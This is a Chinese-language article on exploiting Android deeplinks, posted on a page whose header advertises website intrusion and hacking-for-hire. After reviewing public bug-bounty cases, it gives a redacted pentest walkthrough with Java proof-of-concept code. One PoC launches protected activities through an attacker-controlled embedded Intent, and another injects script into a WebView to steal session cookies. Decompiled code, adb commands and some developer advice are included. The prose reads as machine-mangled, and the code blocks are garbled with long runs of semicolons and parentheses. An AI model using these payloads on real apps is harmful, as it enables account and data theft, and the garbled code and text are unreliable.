网站入侵

网站入侵,入侵渗透,怎么样入侵网站,黑客怎么拿站,黑客接单

Android deeplink攻击实战

                       

deeplink 是在网页开始App超链接。当用户点击时deeplink链接时,Android该系统将开始注册deeplink打开应用程序Manifest在文件中注册deeplink的activity。

例如,按照Manifest文件,example://gizmos和http://www.example.com/gizmos这两个deeplink 可用于启动GizmosActivity.

xml<activity android:name="com.example.android.GizmosActivity" roid:label="@string/title_gizmos" <intent-filterandroid:label="@string/filter_view_http_gizmos"> <action android:name="android.intent.action.VIEW" ></action> category android:name="android.intent.category.DEFAULT" <category android:name="android.intent.category.BROWSABLE" ></category> <!-- Accepts URIs that begin with "http://www.example.com/gizmos” --> <data android:scheme="http" android:host="www.example.com" android:pathPrefix="/gizmos" ></data> <!-- note that the leading "/" is required for pathPrefix--> </intent-filter> <intent-filter android:label="@string/filter_view_example_gizmos"> <action android:name="android.intent.action.VIEW" ></action> <category android:name="android.intent.category.DEFAULT" ></category> <category android:name="android.intent.category.BROWSABLE" ></category> <!-- Accepts URIs that begin with "example://gizmos” --> <data android:scheme="example" android:host="gizmos" ></data> </intent-filter> </activity>```

对于deeplink,可以通过adb shell am start -a android.intent.action.VIEW -d <deeplink>打开注册deeplink的Activity,当地环境测试方便。

由于deeplink自然具有远程特性,用户只需点击即可启动Activity,如果这个过程造成安全影响,那就是一个1-click远程漏洞,所以是对的App而言,deeplink是最常见的远程攻击面。

有一种特殊的基础intent:// scheme的deeplink,每个浏览器都有相关的安全漏洞,文章有专门的讨论,其安全问题不是本文讨论的重点。本文主要讨论App自定义scheme deeplink引入的安全问题。

通过deeplink操纵WebView

在deeplink打开漏洞App的WebView携带访问攻击者可控链接token,最常见的是窃取文件或调用特权界面。

  • Facebook App

这是8500刀的价值Facebook app 漏洞,白帽子对Facebook App大量的fb:// deeplink进行了整理、筛选和自动化测试,找到了3个deeplink可以打开WebView指定组件访问url,而且这个url支持file:并且可以打开本地文件,尽管没有使用自动窃取文件的方法,facebook还是慷慨地奖励了这个漏洞。

  • Grab App

bagipro发现通过deeplinkgrab://open?screenType=HELPCENTER&page=<evil-site>可打开grab app的WebView,并访问攻击者的可控性url,通过js调用WebView特权界面可以窃取用户的敏感信息。

此外,玄武实验室披露的克隆漏洞实际上是通过的deeplink打开WebView,利用WebView设置不当,盗窃App所有私有目录文件都应用克隆。这种类型deeplink需要重点关注url、extra_url、page、link等待参数,看是否可以设置为任何域名打开webview。

通过deeplink构造CSRF

针对twitter的Periscope Android App,若用户点击形状为pscp://user/<user-id>或者pscpd://user/<user-id>直接绕过确认对话框follow指定user-id用户。用户点击www.pscp.tv<user-id>/follow对话框需要弹出确认。

Shopify App它具有基于指纹的应用锁功能,但可以单击deeplinkhttps://www.shopify.com/admin/products绕过应用锁,无限使用app的功能。

另外,还有 sambal0x共享的案例,通过deeplink竞争结构条件,绕过应用锁。

通过deeplink打开App保护组件

在这里分享你在某App在渗透试验中deeplink漏洞案例(漏洞已修复,但隐藏app信息,以victim-app替换)类似facebook app,该App包含大量(>200)的deeplink,散落在java代码和asset目录的js在文件中。对这些deeplink筛选和简单Fuzz,发现了许多安全问题。

  • 多个deeplink控制WebView url只能用来跳转指定的网站phishing;
  • 两个deeplink可以打开ReactNativeWebView且支持file://;
  • 一个deeplink可以打开WebView并携带重要的oauth_token向攻击者指定的链接泄露;
  • 两个deeplink分别能启动app调试、停止app调试并在不安全的外部存储中生成profile文件
  • 在这些安全问题中,最有趣的是可以通过deeplink打开App漏洞的根本原因是,Intent extra可以通过deeplink以参数的形式传递App哪些不导出?Activity从而暴露了大量的攻击面。adb shell am start -a android.intent.action.VIEW -d <deeplink>测试所有的deeplink,同时监控adb logcat -s ActivityManager,寻找处理deeplink的最终Activity,我发现两个打开了App组件保护问题:

    • 通过deeplink打开任意activity

    通过测试victim-app://c/identitychina,发现复杂Intent最终可以打开传输IdentityChinaActivity。

    如代码所示,globalIdentityFlowIntent作为一个Parcelable对象,可以跟随deeplink的Intent extra为攻击者提供可控的传输。embeded Intent最终会传入startActivityForResult,造成一个launchAnyWhere攻击者可以通过漏洞globalIdentityFlowIntent指向不导出的Activity,或者构造App持有权限的特权操作可以提高或窃取敏感信息。

    v0); //this.o is an attacker controlled Intent else if(arg3 == v0) v0); //this.o is an attacker controlled Intent } } else if(arg3 == v0) {                arg3 = -1; if(arg4 == arg3) this.setResult(arg3); this.finish(); } } } protected void onCreate(Bundle arg2) super.onCreate(arg2); this.setContentView(layout.activity_simple_fragment); ButterKnife.a(((Activity)this)); if(arg2 == null) this.c(true); new ChinaVerificationsRequest().a(this.n).execute(this.I); Intent v2 = this.getIntent();;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;if(v2.getParcelableExtra("globalIdentityFlowIntent") != null) this.o = v2.getParcelableExtra("globalIdentityFlowIntent"); //Attacker controlled Intent

    通过如下POC漏洞利用可以实现

    javaIntent intent = new Intent(Intent.ACTION_VIEW);intent.setData(Uri.parse("victim-app://c/identitychina"));Intent payload = new Intent();payload.setComponent(new ComponentName("<victim app package name>", "<victim app protected component name>"));intent.putExtra("globalIdentityFlowIntent",payload);startActivity(intent);```
    • 通过deeplink打开任意fragment

    对deeplinkvictim-app://c/contact/2?fragmen_class=AAAA测试时触发crash,如下

    ```shell$ adb shell am start -a android.intent.action.VIEW "victim-app://c/contact/2?fragmen_class=AAAA"03-06 08:43:37.019 27066 27066 E AndroidRuntime: Process: com.victim-app.android,PID: 2706603-06 08:43:37.019 27066 27066 E AndroidRuntime: java.lang.RuntimeException: Unable to start activity ComponentInfo{com.victim-app.android/com.victim-app.android.core.activities.ModalActivity}: android.support.v4.app.Fragment$InstantiationException: Unable to instantiate fragment AAAA: make sure class name exists,is public,and has an empty constructor that is public......(skip)03-06 08:43:37.019 27066 27066 E AndroidRuntime: Caused by: java.lang.ClassNotFoundException: Didn't find class "AAAA" on path: DexPathList[[zip file "/data/app/com.victim-app.android-88DWiVjEAeeamfvTk2khAA==/base.apk"],nativeLibraryDirectories=[/data/app/com.victim-app.android-88DWiVjEAeeamfvTk2khAA==/lib/arm,/data/app/com.victim-app.android-88DWiVjEAeeamfvTk2khAA==/base.apk!/lib/armeabi-v7a,/system/lib,/vendor/lib]]```

    仔细分析,发现crash原因在于deeplink最终打开了ModalActivity,无法对名为AAAA的Fragment类实例化。如果是deeplink中的fragment_class输入一个参数victim-app已有的Fragment,则可以通过ModalActivity启动。在这个参数中,我试图将所有现有的参数引入Fragment Class,有的可以成功启动,有的却因为参数不完整造成crash,但这里能造成什么样的安全影响却费了一番波折。

    最后,我找到了一个GoogleWebViewMapFragment,有机会执行loadDataWithBaseURL,通过WebView加载HTML/JS.

    ```java@SuppressLint(value={"SetJavaScriptEnabled","AddJavascriptInterface"}) public View a(LayoutInflater arg7,ViewGroup arg8,Bundle arg9) View v7 = arg7.inflate(layout.fragment_webview,arg8,false); this.a = v7.findViewById(id.webview); this.d = v7; WebSettings v8 = this.a.getSettings();;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;v8.setSupportZoom(true); v8.setBuiltInZoomControls(false); v8.setJavaScriptEnabled(true); v8.setGeolocationEnabled(true); v8.setAllowFileAccess(false); v8.setAllowContentAccess(false); this.a.setWebChromeClient(new GeoWebChromeClient(this)); VicMapType v8_1 = VicMapType.b(this.o();;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;this.a.loadDataWithBaseURL(v8_1.c(),v8_1.a(this.w()),"text/html","base64",null); //noice!!! this.a.addJavascriptInterface(new MapsJavaScriptInterface(this,null),"VicMapView"); return v7; }```

    第一个参数v8_1.c()为baseUrl,第二个参数v8_1.a(this.w())为data,若能同时通过deeplink控制这两个参数可以操作WebView在任意baseUrl加载任意HTML/JS。

    第一个参数v8_1.c()是下面的c()方法,该参数的返回值this.c会放在某个地方Bundle中的map_domain,此外,还发现this.b作为Bundle的map_url,this.a作为Bundle的map_file_name。

    第二个参数v8_1.a(this.w()以下是a(Resources arg3)方法,调用VicMapUtils.a并调用方法this.b方法对文件中的MAPURL替换字符串。

    ```javapublic VicMapType(String arg1,String arg2,String arg3) super();;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;this.a = arg1; this.b = arg2; this.c = arg3; public String a(Resources arg3) return VicMapUtils.a(arg3,this.a).replace("MAPURL",this.b).replace("LANGTOKEN",Locale.getDefault().getLanguage()).replace("REGIONTOKEN",Locale.getDefault().getCountry();public Bundle a(Bundle arg3) arg3.putString("map_domain",this.c(); / this.c is put in map_domain arg3.putString("map_url",this.b(); / this.b is put in map_url arg3.putString("map_file_name",this.a(); / this.a is put in map_file_name return arg3; String a()(){ return this.a; } public static VicMapType b(Bundle arg5) return new VicMapType(arg5.getString("map_file_name",""),arg5.getString("map_url",""),arg5.getString("map_domain","")); String b()()()()()()()( )()()()()()()()()()()()()()()()())())()())()())())()()()()())()())()()())())()()())()()()()()())()())())()())()())())())())()())()()()())())()())())()()))()()())())())())()()()))())()())()())()()())())())())())())())())()())())())()))()))()))()))())())()))())))())))))()))))()))()))())))())()))())))()))))())))()))))())))))()))))()))())))())))()))()))))()))()))()))))))()))))))())))()))))()))))()))))()))())))))()))))()))())))))()))))))))()()()))())))))))))())))))))))())))))))))())())()())()))())))))()))))()))))))))())))))))))())))))))))())))))())()))))return this.b; } String c() { / v8_1.c() return this.c; ```

    检查VicMapUtils.a,发现是打开app asset并读入目录下的文件。

    ```javapublic class VicMapUtils public static String a(Resources arg2,String arg3) { try InputStream v2 = arg2.getAssets().open(arg3); String v0 = VicMapUtils.a(v2); v2.close();;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;return v0; } catch(IOException ) StringBuilder v0_1 = new StringBuilder();;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;v0_1.append("unable to load asset "); v0_1.append(arg3); throw new RuntimeException(v0_1.toString()); } } public static String a(InputStream arg2) BufferedReader v0 = new BufferedReader(new InputStreamReader(arg2)); StringBuilder v2 = new StringBuilder();;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; while(true) String v1 = v0.readLine();;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; if(v1 == null) break; } v2.append(v1); v2.append("\n"); } v0.close(); return v2.toString(); }}```

    这时,我检查了一下APK中的asset找到了一些目录html文件

    ```shell$ ls -l *.html-rwxr-xr-x 1 heeeeen h4cker 8290 3 68:28google_map.html-rwxr-xr-x 1 heeeeen h4cker 15024 3 6 08:28leaflet_map.html-rwxr-xr-x 1 heeeeen h4cker 546 3 68:28mapbox.html```

    同时,在google_map.html中找到了MAPURL字符串:

    html$ cat google_map.html<!DOCTYPE html><html><head> <meta name="viewport" content="initial-scale=1.0,user-scalable=no"> <meta charset="utf-8"> <style> html,body,#map-canvas { height: margin: 0px; padding: 0px </style> <script src="MAPURL?v=3.exp&sensor=false&language=LANGTOKEN&region=REGIONTOKEN"></script> <script src="file:///android_asset/geolocate_user.js" type="text/javascript"></script> <script>var map;var infoWindow = null;var markers = {};var infoWindowContent = {};var polylines = {};

    如果控制了漏洞使用的线索MAPURL字符串可以构建XSS。

    再来看看涉及的Bundle结构,这个Bundle其实就是开始Fragment实验表明,该参数通过实验表明Bundle参数可以随deeplink的Intent extra传递。

    javapublic Bundle a(Bundle arg3) arg3.putString("map_domain",this.c(); / this.c is put in map_domain arg3.putString("map_url",this.b(); / this.b is put in map_url arg3.putString("map_file_name",this.a(); / this.a is put in map_file_name return arg3; }

    所以,map_domain作为loadDataWithBaseURL第一个参数需要引入我们想要执行的参数JS的domain,也就是该App使用的登陆状态domain:http://www.vicitim-app.com;map_url>作为loadDataWithBaseURL第二个参数需要进入攻击payload;而map_file_name需要指向文件名google_map.html,WebView此注入攻击将被加载payload的html文件。

    到目前为止,可以通过这个deeplink打开任意fragment实现可控任意域的漏洞JS,用户窃取登录状态cookie!

    POC如下:

    javaIntent payload = new Intent(Intent.ACTION_VIEW);payload.setData(Uri.parse("victim-app://c/contact/2?fragmen_class=com.victim.app.GoogleWebViewMapFragment"));Bundle extra = new Bundle(); extra.putString("map_url","\"></script><script>alert(document.cookie);</script><script>"); extra.putString("map_file_name","google_map.html");extra.putString("map_domain","https://www.victim-app.com"); payload.putExtra("bundle",extra);startActivity(payload);

    既然deeplink暴露了大量的攻击面,容易出现远程漏洞,所以deeplink收集成为漏洞挖掘的重点。首先,需要分析Manifest文件中的android:scheme及android:host提取出deeplink的protocol://hostname,接下来可以用五种方法:

    • 本地搜索:通过Mainifest自定义的文件筛选deeplink URL scheme,然后在本地逆向代码中正则匹配,尽可能完整地提取deeplink URI,注意不要错过所有文件。因为根据经验,deeplink可能出现在App的Java代码中、Asset资源文件/目录/js甚至可能出现在中间so当中;
    • 流量监控:对app抓包,用HTTP抓包工具或实现成burp流量中的插件监测deeplink,尽可能在app中点击各种场景,从请求包和返回包中正则匹配出完整的deeplink;
    • IPC监控:通过hook动态监测IPC出现在通信中deeplink,将Intent中的data提取出来,可以用burp插件brida,甚至与流量监控相结合;
    • 远程爬行:是的app Web爬取终端网页,筛选出来deeplink。但是我没有练习过这种方法,只是偶尔在网页源码中发现过。
    • 基于deeplink特征:如果APP使用一些路由分发的路由sdk,由于这类sdk有特定的规律,因此可以通过正则解析这类规律来获取到完整的deeplink。以ali arouter例如,可以提取build Route后面的path作为deeplink URI的path。提取build Autowired后面的name作为deeplink中的parameters。然后拼接第一步获得的内容,获得完整的内容deeplink。

    但是,根据上述思路收集的deeplink或者可能不完整,很难得到完整的参数。从白帽子的角度来看,deeplink收集总是挖掘deeplink漏洞最大的难点。

    0x04 对开发者的建议

    开发者要特别注意deeplink有关的WebView安全问题,这种漏洞在deeplink安全问题所占比例最大。deeplink中url、extra_url、page、link、redirect等待参数,检查这些参数是否可以修改WebView访问任何域名。如果本身是业务设计,建议向用户提供外部跳转提示,同时禁止WebView对file:禁止//访问loadUrl携带重要的认证访问外域token,并仔细检查WebView开放敏感javaScriptInterface或JsBridge验证接口制作的域名白名单。

    此外,由于deeplink无法验证来源,因此不能用于触发对安全有影响的敏感操作,例如:

    • 携带认证发送token的数据包
    • 打开保护组件
    • 绕过应用锁
    • 无需用户交互对外拨号
    • 静默安装应用
    • ……

    建议使用deeplink的App开发人员提供所有内部安全团队deeplink安全测试清单和设计文档,可以比外部攻击者更早、更全面地发现deeplink引入的安全问题。

           

    发表评论:

    Powered By

    Copyright Your WebSite.Some Rights Reserved.